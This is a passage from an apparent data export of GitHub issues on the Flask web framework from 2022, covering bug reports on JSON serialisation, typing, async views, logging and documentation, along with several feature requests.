{% block app_content %}
  Contents
{% endblock %}


When I upgrade werkzeug==0.16.1 to werkzeug==1.0.0. The jinja2 loader loads the base.html twice! The resulting page will have base.html nested within each other. How do I go about debugging the loader and the loading process of Jinja2 using Flask?

I am hoping to peek into the inner working of Jinja2 loader via Flask. I am not sure how to go about it.

https://svn.python.org/projects/external/Jinja-1.1/docs/build/loaders.html

",,2022-06-27T04:02:17Z,2022-06-27T04:10:59Z,1
pallets/flask,1283828841,flask.json.dumps fails for dicitonaries with mixed string + integer keys,"The flask JSON module likely tries to sort keys before skipping or converting non-string keys to strings, resulting in a `TypeError` about comparisons when a dictionary with mixed string and non-string keys is provided, instead of correctly converting the non-string keys to strings.

Snippets to reproduce:

Python's built-in json behavior:

```
obj = {'hi': 'bye', 1: 2}
import json
print(json.dumps(obj))
```

prints:

`{""hi"": ""bye"", ""1"": 2}`

Now with `flask.json`:

```
obj = {'hi': 'bye', 1: 2}
from flask import json
print(json.dumps(obj))
```

We get a `TypeError`:

```
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""/usr/local/lib/python3.10/site-packages/flask/json/__init__.py"", line 131, in dumps
    return _json.dumps(obj, **kwargs)
  File ""/usr/local/Cellar/python@3.10/3.10.2/Frameworks/Python.framework/Versions/3.10/lib/python3.10/json/__init__.py"", line 238, in dumps
    **kw).encode(obj)
  File ""/usr/local/Cellar/python@3.10/3.10.2/Frameworks/Python.framework/Versions/3.10/lib/python3.10/json/encoder.py"", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File ""/usr/local/Cellar/python@3.10/3.10.2/Frameworks/Python.framework/Versions/3.10/lib/python3.10/json/encoder.py"", line 257, in iterencode
    return _iterencode(o, 0)
TypeError: '<' not supported between instances of 'int' and 'str'
```

It works correctly if `sort_keys=False` is provided.

The fix is almost certainly ... [TRUNCATED]",,2022-06-24T14:35:10Z,2022-06-24T14:39:47Z,3
pallets/flask,1282069482,There is a typo in the docs relating to javascript,"### Bug description:
There is a typo in the javascript page on the docs. It currently reads:

`The following example shows how to a <div> with the HTML returned by a request.`

`The following example shows how to replace  a <div> with the HTML returned by a request.`

### Replication:
Replicate this bug by reading the docs.


### Expected behaviour:
The expected behaviour is that the word ""replace"" is in the above sentence in the docs

### Environment:

- Python version: N/A
- Flask version: N/A
",docs,2022-06-23T09:06:41Z,2022-06-23T09:21:49Z,4
pallets/flask,1274142985,Installing extras with pip does not work,"As guided by [the docs](https://flask.palletsprojects.com/en/2.1.x/async-await/#using-async-and-await), when I try to install the `async` extra by running 
```
pip install flask[async]
```
I get the following message.
```
zsh: no matches found: flask[async]
```

I believe that this is because there is no `[options.extras_require]` section in `setup.cfg`.
I noticed that there is an `extras_require` section in `setup.py`, but I'm not sure why `pip` cannot find it.

It should have installed the dependencies needed for flask to run with coroutine functions.

Environment:

- Python version: 3.10
- Flask version: 2.1.2
- Pip version: 22.1.2
",,2022-06-16T22:26:06Z,2022-06-16T22:54:37Z,1
pallets/flask,1272506035,Flask does not support decorators for asynchronous functions.,"Code:

```python
import functools

from flask import Flask


app = Flask('test')


def any_decorator(fn):
    @functools.wraps(fn)
    def decorator(*args, **kwargs):
        return fn(*args, **kwargs)
    return decorator


@app.get('/async')
@any_decorator
async def async_index():
    return 'Exception :('
    

@app.get('/sync')
@any_decorator
def sync_index():
    return 'All okay'



app.run()
```

Traceback:

```
[2022-06-15 19:44:25,840] ERROR in app: Exception on /async [GET]
Traceback (most recent call last):
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 1526, in full_dispatch_request
    return self.finalize_request(rv)
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 1545, in finalize_request
    response = self.make_response(rv)
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 1734, in make_response
    raise TypeError(
TypeError: The view function did not return a valid response. The return type must be a string, dict, tuple, Response instance, or WSGI callable, but it was a coroutine.
```

Environment:

- Python version: ^3.10
- Flask version: ^2.1.2 with async
",,2022-06-15T17:00:14Z,2022-06-15T17:06:24Z,1
pallets/flask,1270972215,Update README.rst,"<!--
-->

<!--
N/A
-->

This feature will add on to some information in README.rst.",,2022-06-14T15:20:13Z,2022-06-14T15:22:28Z,1
pallets/flask,1269498676,werkzeug critical vulnerability until 2.1.1,"Hello,

I got the information while scanning my dependencies, werkzeug in version ≥ 2.0 as specified here is vulnerable until version 2.1.1:

https://github.com/pallets/flask/blob/97298e06fe19298c3ff9d2e0ed9ba70bb3fda2c8/setup.py#L7

Vulnerability report: https://avd.aquasec.com/nvd/2022/cve-2022-29361/

I temporarily fixed the issue by adding this line in my `requirements.in`: 

```
werkzeug>=2.1.1
```
",,2022-06-13T14:08:43Z,2022-06-13T14:10:30Z,2
pallets/flask,1268310561,flask.jsonify produces extra (trailing spaces),"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

[The current implementation](https://github.com/pallets/flask/blob/db3187fd7ab324d9175d8a1dd8c3919cec58d3b9/src/flask/json/__init__.py#L291) of flask.jsonify sets `separators` for `json.dump` as `("", "", "": "")` for ""pretty-print"". Such configuration causes a trailing space in each line ending with "","". But if one check [https://api.github.com/events](https://api.github.com/events) one can notice that it returns pretty-printed JSON without trailing spaces.

I believe it is inconvenient to have spaces in line ends.

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

Example:
```
import flask


# Without `app` creation  and run user get ""RuntimeError: Working outside of application context."" from `flask.jsonify`
app = flask.Flask(__name__)
app.config[""JSONIFY_PRETTYPRINT_REGULAR""] = True


@app.route(""/"")
def hello():
    result = flask.jsonify({""id"": 0, ""message"": ""Hello, World!""})
    result_lines = result.data.splitlines()

    print(""All lines are printed as `bytes` because the quotes shows the trailing spaces"")

    print(""Printing the whole expected output"")
    for line in result_lines:
        print(line.rstrip(... [TRUNCATED]",,2022-06-11T15:56:05Z,2022-06-11T17:45:36Z,4
pallets/flask,1268193351,Documentation for FileStorage.save() is inadequate,"The documentation for file uploads in flask has a flaw in it that caused me to lose data on my app. When an app receives an uploaded file, if it calls request.files['file'].save(filename1), they may not then call request.files['file'].save(filename2) because if they do, they get an empty file where filename2 is. The specific piece of documentation that is misleading is [werkzeug.datastructures.FileStorage](https://werkzeug.palletsprojects.com/en/2.1.x/datastructures/#werkzeug.datastructures.FileStorage.save) where it doesn't say that calling save() essentially destroys FileStorage. I understand that perhaps the underlying object is a stream, but it's called a FileStorage object, not a FileStream.

A minimal example is trivial to create:
<form action=""/upload"" method=""POST"">
<input type=""file"" name=""file"">

This posts to a flask app with the action:
f = request.files['file']
f.save(filename1)
f.save(filename2)

The file filename2 is created but has 0 bytes in it.

The expected behavior is to have save() a repeatable action. This could easily be fixed by documenting save() to say that it may only be called once. That's the simple fix, but a better fix would be to make the save() call be non-destructive on the FileStorage object.



",,2022-06-11T07:43:34Z,2022-06-11T14:04:11Z,2
pallets/flask,1265141794,Error: read ECONNRESET while calling API with misleading header,"Hi, 
A couples week ago I opened an issue, I had a problem that flask application closed connection when request data size is large. Since the completed code to reproduce the issue was not fully written the issue was closed. So I have to create a new issue. 
I uploaded full code in the previous issue. 
here is the issue with full code and postman sample : 
#4597 

I would really appreciate if you can take look at it.


",,2022-06-08T18:35:42Z,2022-06-08T18:40:27Z,0
pallets/flask,1263893136,mypy errors when static_folder is given a Pathlib,"This is a continuation of #4150. I'm still getting the same issues using Flask 2.1.2. Not sure why this is still happening.

Thank you!",,2022-06-07T21:28:59Z,2022-06-08T14:06:58Z,2
pallets/flask,1262312654,Adding MySQL Documentation,"There is a need to include documentation on integrating MySQL with Flask, specifically with flask_mysqldb module and the MySQL class.

Currently, the documentation includes information on how to use SQLite3 and SQLAlchemy, but no specific documentation on how to use Flask with MySQL with SQL style syntax. Some may not want to use SQLAlchemy to perform SQL operation and rather use more SQL looking syntax. This documentation will show how to use the MySQL class from flask_mysqldb to do these CRUD operations.
",,2022-06-06T19:43:06Z,2022-06-06T19:44:32Z,3
pallets/flask,1258286385,werkzeug.exceptions.BadRequest: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.,"I am trying to run this code segment
```
from flask import Flask,request
@app.route(""/my_end_point"",methods=['GET', 'POST', 'PUT', 'DELETE'])
def myFunctionName():
    if request.method == 'POST':
        body = request.get_json()
```
And I am calling the endpoint by POST method
But I am getting these errors at ```body = request.get_json()```
```
werkzeug.exceptions.BadRequest: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
```


Environment:

-OS version : Ubuntu 18.04.6 LTS
- Python version: Python 3.9.13
- Flask versions:
Flask==2.0.3
Flask-Cors==3.0.3
Werkzeug==2.1.2


",,2022-06-02T14:45:53Z,2022-06-02T15:15:13Z,1
pallets/flask,1257956802,app.logger logs messages multiple times when using mod_wsgi and application factory,"Hi,

I'm not sure if this bug is in Flask, python or mod_wsgi but since I can only reproduce it when I use an ""application factory"", I'm opening it here.

When I create an application that
 * uses an application factory (create_app function to create the app object)
 * add a WatchedFilehandler logger to the app.logger
 * Create a basic route that logs something

If I deploy this application using Apache and mod_wsgi and then send 3 requests to the application, the log file contains more than 3 lines.
For the first request, it will contain one line, for the second request it will contain two more lines, 3 for the 3rd request, ...

I've created a git repository with an example to reproduce it:

* Clone https://gitlab.esat.kuleuven.be/Rik.Theys/brol.git
* In the repository is a Containerfile that can be used with buildah (or Docker) to build a container image:
  ```buildah bud -f Containerfile -t brol```
* Run the resulting container:
  ```podman run -dt --rm -p 5000:80 --name brol localhost/brol```
* Verify that there's no log file in the container image:
  ```podman exec -it  brol cat /srv/app/logfile```
 * Send a single request:
   ```curl http://localhost:5000/app/```
 * Check the log again. It will show one line.
   ```podman exec -it  brol cat /srv/app/logfile```
 * Send another request.
     ```curl http://localhost:5000/app/```
 * Check the log again. It will show 3 lines: one for the 1st request and **two** for the second request.
   ```podma... [TRUNCATED]",,2022-06-02T09:51:49Z,2022-06-02T12:23:22Z,2
pallets/flask,1256430309,FLASK_RUN_FROM_CLI breaks prometheus_flask_exporter,"Hi, I originally filed an issue at https://github.com/rycus86/prometheus_flask_exporter/issues/135 but determined that it was impossible to resolve the problem downstream, and changes are required in Flask to support the use case of prometheus_flask_exporter.

The problem is described in the issue report I linked above, but I will also summarize it here for convenience. Basically, when you invoke `flask run`, then Flask sets `FLASK_RUN_FROM_CLI` as an environment variable. Then, in `app.run()`, if that environment variable is set, Flask skips starting the app, and prints the following warning:

```
Warning: Silently ignoring app.run() because the application is run from the flask command line executable. Consider putting app.run() behind an if __name__ == ""__main__"" guard to silence this warning.
```

This is all fine and good when `app.run()` is being invoked from the top level in the main module, and it was not intended to launch a duplicate app. However, sometimes the user actually _does_ want to invoke two separate Flask applications: for example, to expose application metrics on a different port from web traffic, which is generally recommended as a security best practice.

Specifically, prometheus_flask_exporter offers an option to expose metrics on a separate port by starting a separate Flask app on a separate port and thread. However, Flask's behavior around `FLASK_RUN_FROM_CLI` breaks this functionality, since if the web traffic app is launched using `flask ... [TRUNCATED]",,2022-06-01T16:26:08Z,2022-06-01T17:34:23Z,5
pallets/flask,1256311431,Testing page refers to nonexistant argument of EnvironBuilder,"The Testing Flask Applications page of the docs contains this passage:

> The client has methods that match the common HTTP request methods, such as client.get() and client.post(). They take many arguments for building the request; you can find the full documentation in [EnvironBuilder](https://werkzeug.palletsprojects.com/en/2.1.x/test/#werkzeug.test.EnvironBuilder). Typically you’ll use `path`, `query`, `headers`, and `data` or `json`.

In fact, the argument the user has to use is [`query_string`](https://werkzeug.palletsprojects.com/en/2.1.x/test/#werkzeug.test.EnvironBuilder).

**Environment:**

- Python version: all
- Flask version: 2.1.x
",docs,2022-06-01T15:37:52Z,2022-06-01T23:10:38Z,0
pallets/flask,1250451729,Typing issue with `redirect`,"Function `redirect` returns the wrong type according to `mypy`:

```python
# file ""redir.py""
from flask import Response, redirect
def something() -> Response:
    return redirect(""https://wikipedia.org/"")
```

Then mypy complains:
```
redir.py:3: error: Incompatible return value type (got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response"")
Found 1 error in 1 file (checked 1 source file)
```

Function `redirect` should return a `flask.wrappers.Response`.

Environment:

- Python version: 3.8.10
- Flask version: 2.1.2
",,2022-05-27T07:47:30Z,2022-05-28T16:56:37Z,1
pallets/flask,1250439167,Typing issue on `after_request`,"Typing issue between `mypy` *0.960* (and all prior versions I tested) and `Flask` *2.1.2*. Not sure whether the issue is in mypy or Flask, but I guess it has something to do with the later.

```Python
# file test.py
from flask import Flask, Response
app = Flask(""hello"")

def nope(res: Response) -> Response:
    return res
app.after_request(nope)
```

Then run:

```shell
mypy test.py
```

Results in:
```
test.py:8: error: Argument 1 to ""after_request"" of ""Scaffold""
   has incompatible type ""Callable[[Arg(Response, 'res')], Response]"";
  expected ""Callable[[Response], Response]""
Found 1 error in 1 file (checked 1 source file)
```

However, the same tests is fine with Flask *2.0.0* (for instance).

- Python version: 3.8.10
- Flask version: 2.1.2
",,2022-05-27T07:31:41Z,2022-05-27T14:09:37Z,1
pallets/flask,1249005220,jsonify() can't serialize <class 'werkzeug.local.LocalProxy'> during debug mode,"During `app.debug = True`

jsonify can serialize a LocalProxy()

Then `app.debug = False`

This error shows.

```bash
[2022-05-26 13:57:45,664] ERROR in app: Exception on /api/optional-scoped [GET]
Traceback (most recent call last):
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask_cors/decorator.py"", line 128, in wrapped_function
    resp = make_response(f(*args, **kwargs))
  File ""/home/mike/work/Unfinished/microauth/client/app/src/client.py"", line 591, in wrapped_function
    return f(*args, **kwargs)
  File ""/home/mike/work/Unfinished/microauth/client/app/src/main.py"", line 221, in optional_scoped
    return jsonify(message=""Hello from an optional endpoint!"", current_error=current_error)
  File ""/h... [TRUNCATED]",,2022-05-26T02:15:30Z,2022-05-26T04:17:47Z,1
pallets/flask,1245510092,"Docs ""Old version"" banner lists incorrect ""latest stable"" version","When viewing a direct link to docs for an ancient version of Flask, a banner at the top of the page warns you that you're looking at old docs, and links to the ""latest stable version"". However, the version referenced and linked to is not the actual latest stable.

1. https://flask.palletsprojects.com/en/0.12.x/api/ - banner says 1.1.x
2. https://flask.palletsprojects.com/en/1.1.x/api/ - banner says 2.0.x
3. https://flask.palletsprojects.com/en/2.0.x/api/ - banner says 2.1.x
4. https://flask.palletsprojects.com/en/2.1.x/api/ - no banner

Expected behaviour: All three old versions should link to 2.1.x directly.
",,2022-05-23T17:47:27Z,2022-05-23T17:49:50Z,2
pallets/flask,1245346360,deprecate `before_first_request`,"While reviewing the consistent use of `setupmethod` for #4571 and #4577, I'm realizing that `before_first_request` should probably be deprecated then removed.

* There's no example use cases in the docs.
* From examples I've seen on Stack Overflow and around the web, it seems to be (mis)used as a setup method, to do something ""before the application starts"".
* Configuration should be done before _running_ the application, during the actual setup phase. Preferably, it should be done in a factory function.
* It incurs a function call before _every_ request, for something that only happens once. This can be inlined to only incur an `if` check, but it's not ideal.
* It runs before the first request for every _instance_, which is every or almost every time for many process worker implementations, and only once for the dev server (the only thread worker I'm aware of). The `threading.Lock` is not useful for an eventual ASGI implementation.",,2022-05-23T15:26:25Z,2022-06-06T17:11:00Z,0
pallets/flask,1243838589,Update of the downloadable documentation of flask2.0,"I would love to be able to download the latest flask2.0 docs as it's always a good resource and since the update of flask the docs have been updated online but the downloadable versions are still in flask1.x.x
![flask](https://user-images.githubusercontent.com/55891685/169630359-e2941ef1-62c6-47d6-ac43-85fbfeedadf1.png)

",,2022-05-21T02:08:44Z,2022-05-21T02:20:55Z,2
pallets/flask,1242091810,Flask.auto_find_instance_path() can return wrong path for namespace packages installed in development mode,"https://github.com/pallets/flask/blob/bd56d19b167822a9a23e2e9e2a07ccccc36baa8d/src/flask/scaffold.py#L798

If there are several packages under the same namespace, all installed in development mode, like:

```
~/namespace-package1/
    namespace/
        package1/
            __init__.py
            app.py
    instance/

~/namespace-package2/
    namespace/
        package2/
            __init__.py
            app.py
    instance/
```
and the code in `namespace.package2` uses `app.instance_path`, then its expected value is `~/namespace-package2/instance` ([""Uninstalled package"" decision path](https://flask.palletsprojects.com/en/2.1.x/config/#instance-folders)).

Instead of that the following happens:
* `find_package()` [cuts import info](https://github.com/pallets/flask/blob/bd56d19b167822a9a23e2e9e2a07ccccc36baa8d/src/flask/scaffold.py#L846) to the very top package name, `namespace`,
* then `_find_package_path()` finds module specification for the whole namespace package, which contains several submodule search locations, like `ModuleSpec(name='namespace', loader=<_frozen_importlib_external._NamespaceLoader object at ...>, submodule_search_locations=_NamespacePath(['~/namespace-package1/namespace', '~/namespace-package2/namespace']))`
* and then the quoted line returns first, i.e. _arbitrary_, package from that namespace, e.g. `~/namespace-package1`, which produces wrong instance path.

Suggestion: pass also `import_name` into `_find_package_path` a... [TRUNCATED]",,2022-05-19T17:26:48Z,2022-06-06T16:27:00Z,3
pallets/flask,1241954957,Unread multipart form input generates error output,"I am using Flask (2.0.2) for a web service API. It does not produce web pages, but accepts multipart form encoded requests to read and update a back-end data store, carries out the requests, and returns a simple text response (with response code 200) or an error response with error message.

The following ""Hello World"" code produces a rather strange response when some multipart input is posted.

@app.route('/hello', methods = ['GET', 'POST'])
def hello():
    return 'Hello World!\n'

The result of this is:

Hello World!
<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN""
""http://www.w3.org/TR/html4/strict.dtd"">
<html>
<head>
<meta http-equiv=""Content-Type"" content=""text/html;charset=utf-8"">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('--&amp;').</p>
<p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
</body>
</html>

The returned response code is actually 200 but the response includes an error message that looks as though it was generated by trying to parse the multipart form input as HTML. (The multipart boundary was '&' and this looks to be the immediate cause of the ""bad syntax"".)

If, however, the following line is inserted before the return statement, the response is what I would expect. (One of the multipart parts is named 'json').

    ignore = request.files['json']

The result in this case is just:

   Hello Worl... [TRUNCATED]",,2022-05-19T15:26:23Z,2022-05-19T15:40:21Z,2
pallets/flask,1241953632,callback types should use `bound` type vars instead of base types,"* Flask 2.1.2
* Python 3.9.12
* mypy 0.950 (tested also 0.910)

For this type definition on `after_request`:

https://github.com/pallets/flask/blob/bd56d19b167822a9a23e2e9e2a07ccccc36baa8d/src/flask/typing.py#L39

It generates this mypy error:

```
error: Argument 1 to ""after_request"" of ""Scaffold"" has incompatible type ""Callable[[Arg(Response, 'response')], Response]""; expected ""Callable[[Response], Response]""
```

For the sample code of:

```python3
from flask import Flask, Response

def my_func(response: Response) -> Response:
    print(""my after request func"")
    return response

app = Flask(__name__)
app.after_request(my_func)  # <-- type error
```

This code works just fine, and did not generate typing errors for Flask 2.0.2",typing,2022-05-19T15:25:21Z,2022-05-23T20:56:26Z,5
pallets/flask,1241657164,Very strange error,"Environment:
- Python version: 3.8.10 (Ubuntu 20.04)
- Flask version: 2.1.2 (via pip)

I have tried the following program:
```
from flask import Flask
import os

app = Flask(__name__)

@app.route('/')
def hello():
    """"""Renders a sample page.""""""
    return ""Hello World""

if __name__ == '__main__':
    HOST = os.environ.get('SERVER_HOST', '0.0.0.0')
    try:
        PORT = int(os.environ.get('SERVER_PORT', '5002'))
    except ValueError:
        PORT = 5002
    app.run(HOST, PORT, False)
```

When I now open http://testserver:5002/ in the browser I get the following log:
```
134.91.90.144 - - [19/May/2022 11:48:15] code 400, message Bad request version ('testserver\x00\x17\x00\x00ÿ\x01\x00\x01\x00\x00')
testserverÿ

"" HTTPStatus.BAD_REQUEST -


üÈ@|øÞR""ÒqD¦3 cGß]°1Æ»ø)Û{ÌK-²N$m-°{NãÅDl¢ 
À+À/À,À0̨̩ÀÀzz
134.91.90.144 - - [19/May/2022 11:48:15] code 400, message Bad request version ('testserver\x00\x17\x00\x00ÿ\x01\x00\x01\x00\x00')
134.91.90.144 - - [19/May/2022 11:48:15] ""


üÉóF
testserverÿ

"" HTTPStatus.BAD_REQUEST -            :Ë5Óö¦V°îøàÜì&1 êu½2Êm9VKý~>P*Ó='µ
```

This looks like the encoding is not working.",,2022-05-19T11:51:56Z,2022-05-19T13:13:33Z,3
pallets/flask,1238577445,Error: read ECONNRESET while calling API with misleading headers,"Hi, 

I've tried to validate request based on existence or values of request headers, and if the conditions did not meet reject the request with some errors. 
The validation of body works perfect but when I try to validate headers suddenly connection drops.
I used `before_request` method to add interceptor to a blueprint. I tested API with Postman and Android application. In both apps connection drops (android received 'broken pipe' error and postman received Error: read ECONNRESET)
It seems that problem is related to something that mentioned in this issue:
https://github.com/postmanlabs/postman-app-support/issues/5365

here is some code to reproduce issue :


<pre>
def __validate_request_headers():
    try:
        x_request_id = request.headers['X-Request-Id']
        platform = request. headers['Platform']
        client_version =  request.headers['Client-Version']
    except Exception as e:
        raise AttributeError()

blueprint.before_request(__validate_request_headers) 
</pre>

And here is my error handling :
<pre>
def handle_exception(exception: Exception):
    return ""error"", 400
</pre>

If I put a break point inside `execute` method inside `serving.py` file in werkzeug library in line :
<pre>
                if hasattr(application_iter, ""close""):
                    application_iter.close()  # type: ignore
</pre>
client received the error but if I run without breakpoint the connection hang up by server.

Environment:

- Python... [TRUNCATED]",,2022-05-17T12:37:03Z,2022-05-23T17:28:50Z,3
pallets/flask,1234386987,"Recommended link update for ""Make the Project Installable"" docs","The link to the ""official packaging guide"" in the ""Make the Project Installable"" tutorial section makes little reference to `setup.py` and no reference to the `MANIFEST.in` file. 

I recommend updating the link from the [""Packing Python Projects""](https://packaging.python.org/en/latest/tutorials/packaging-projects/) tutorial to the [""Packaging and distributing projects""](https://packaging.python.org/en/latest/guides/distributing-packages-using-setuptools/) guide which details usage of `setup.py` and the `MANIFEST.in` file.

I'd be happy to make a PR to update if this change is welcome.",docs,2022-05-12T19:18:01Z,2022-05-23T17:44:53Z,1
pallets/flask,1231216092,How do I get the name of the cli from the create_app function?,"How do I get the name of the cli from the create_app function?
I have some code in create_app that I don't want to execute when I run the cli.
How to get the current cli name?
thanks
thanks
thanks",,2022-05-10T14:00:59Z,2022-05-11T16:18:28Z,1
pallets/flask,1230079100,No link in docs to mailing list or Discord server,"The documentation mentions — but doesn't link to — the mailing list and Discord server.

I'm referring to this short section of the docs:

https://flask.palletsprojects.com/en/2.1.x/becomingbig/#discuss-with-the-community

The text makes plain that there are both a mailing list and a Discord server, but fails to provide links.

> The Flask developers keep the framework accessible to users with codebases big and small. If you find an obstacle in your way, caused by Flask, don’t hesitate to contact the developers on the mailing list or Discord server. The best way for the Flask and Flask extension developers to improve the tools for larger applications is getting feedback from users.",docs,2022-05-09T18:16:59Z,2022-05-11T16:18:47Z,3
pallets/flask,1226885814,Flask v1.1.3 introduced many dependency conflicts,"Flask 1.1.3 [set upper bounds](https://github.com/pallets/flask/commit/6d8b4ce9d037937ef8694067ab5754666240d097) on a bunch of dependencies that weren't there before.

This caused conflicts in many dependencies in our projects that are hard to resolve, so for now [we're just going to pin to 1.1.2](https://github.com/canonical-web-and-design/canonicalwebteam.flask-base/pull/60).

Is this necessary? Do we have to go through and work out how to reconcile all of these dependencies? Or might it be possible to loosen up those dependencies a little?",,2022-05-05T16:02:08Z,2022-05-05T17:50:08Z,1
pallets/flask,1226066312,Tutorial Jinja template logic error,"The [Jinja2 template](https://github.com/pallets/flask/blob/main/docs/tutorial/blog.rst#index) compares the user id of the currently logged in user with the `author_id` of each blog post in order to determine if the logged in user has edit permissions on that blog post. However, one of `g.user['id']` and `post['author_id']` is a string and the other is an integer. This causes the equality comparison to fail in every case, which is both unexpected behavior and confusing to users learning via the tutorial.


Environment:

- Python version: 3.9.12
- Flask version: 2.1.2
",docs,2022-05-04T23:39:27Z,2022-05-23T17:26:58Z,1
pallets/flask,1224372859,conda-forge package information is outdated,"I noticed that the Conda-Forge versions of the Pallets libraries have out-of-date metadata compared to what we publish on PyPI. Each one is a GitHub repository that accepts PRs. For example, Flask:

* https://anaconda.org/conda-forge/flask
* https://pypi.org/project/Flask
* https://github.com/conda-forge/flask-feedstock",,2022-05-03T17:10:59Z,2022-06-05T22:55:56Z,5
pallets/flask,1222998770,test typing,"Add a `typing_examples.py` file that has examples of different uses of Flask with type annotations. For example, show examples of views that return each valid return type for a view. We can run mypy against this to check that *using* Flask passes typing, not just the internal type checking.","save-for-sprint,typing",2022-05-02T15:03:58Z,2022-06-05T22:55:33Z,6
pallets/flask,1222986805,Virtualenv doc displays funky in CONTRIBUTING.rst .,"Specifically:

```
-   Create a virtualenv.

    .. tabs::

       .. group-tab:: Linux/macOS

          .. code-block:: text

             $ python3 -m venv env
             $ . env/bin/activate

       .. group-tab:: Windows

          .. code-block:: text

             > py -3 -m venv env
             > env\Scripts\activate
```

<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",docs,2022-05-02T14:52:41Z,2022-05-11T16:44:02Z,3
pallets/flask,1222982761,Unify `setupmethod` behavior between `Flask` and `Blueprint`,"Many of the methods in the `Flask` app object are decorated with `setupmethod`, which prevents registering things with the application after it starts running. A similar behavior is in `Blueprint`, we want to prevent modifying it after registering it at least once. However, the blueprint checking is much less consistent, it's divided up into two parts, is only a warning sometimes, and has a different message. Figure out how we can make `Flask` and `Blueprint` more consistent with this error.",save-for-sprint,2022-05-02T14:48:42Z,2022-05-23T16:12:45Z,2
pallets/flask,1222982722,Linting error with mypy.,"There's an unused type ignore when running `tox` as well as `mypy`:

```
(fenv) quokka@qcore 07:41 AM ~/git/flask$ mypy
src/flask/cli.py:39: error: Unused ""type: ignore"" comment
```

<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2022-05-02T14:48:39Z,2022-05-02T16:30:19Z,0
pallets/flask,1222975377,Move `redirect` to the `Flask` app object,"Add a `redirect` method to the `Flask` app object. Similar to functions like `flask.json.dumps`, `flask.redirect` should look for a `current_app` and call its `redirect` method. This will allow applications to override the redirect behavior.",save-for-sprint,2022-05-02T14:41:29Z,2022-05-11T16:22:20Z,2
pallets/flask,1222962886,Move `url_for` to the `Flask` app object,"Add a `url_for` method to the `Flask` app object. Similar to functions like `flask.json.dumps`, `flask.url_for` should look for a `current_app` and call its `url_for` method. This will allow applications to override the url building behavior.",save-for-sprint,2022-05-02T14:31:29Z,2022-05-14T19:50:37Z,1
pallets/flask,1222961019,Move `abort` to the `Flask` app object,"Add an `abort` method to the `Flask` app object. Similar to functions like `flask.json.dumps`, `flask.abort` should look for a `current_app` and call its `abort` method. This will allow applications to override the abort behavior.",save-for-sprint,2022-05-02T14:29:47Z,2022-05-12T20:45:38Z,4
pallets/flask,1219101214,Fix old behavior in `register_error_handler()` ,"## Background
[`Line 700 src/scaffold.py`](https://github.com/pallets/flask/blob/f976d5bb88216e921a96998f767df31d7039e4ef/src/flask/scaffold.py#L700) has a comment `# old broken behavior`.  
```python
if isinstance(code_or_exception, HTTPException):  # old broken behavior
    raise ValueError(
        ""Tried to register a handler for an exception instance""
        f"" {code_or_exception!r}. Handlers can only be""
        "" registered for exception classes or HTTP error codes.""
    )
```
The purpose of this code is check if the handler is an exception instance.   
If so, raise an error to warn the user: the handler should be HTTPException classes or HTTP error codes.   
### Trigger test case: 
In [`test/test_user_error_handler.py`](https://github.com/pallets/flask/blob/f976d5bb88216e921a96998f767df31d7039e4ef/tests/test_user_error_handler.py), add:
```python
with pytest.raises(ValueError):
    app.register_error_handler(HTTPException(), None)
```
### Why is this old and broken?  
From version 0.7, `self.register_error_handler` can accept all `Exception` not just `HTTPException` so it is not accurate now. Also, the main check part for handlers is in `self._get_exc_class_and_code`.

## Purposed Solution
Remove this part of code.  
Enhance the check for handlers in `self.register_error_handler`.  

## Detail Discussion
- Since the main check is in `self._get_exc_class_and_code`, new check part is written in `self._get_exc_class_and_code` to keep consistenc... [TRUNCATED]",,2022-04-28T18:17:25Z,2022-05-03T17:56:11Z,0
pallets/flask,1219004667,Redirect from POST not working,"When trying to redirect from a POST request to another page it seems that the request goes wrong. The redirect seems fine in the browser network debug tab and seems to pass normally from the POST method handling but when it tries to go to the new url it gets a status code of **|405 Method Not Allowed|**. The reason for this it seems by looking at the log is that the request gets mashed up with the query parameter somehow which seems like a bug:

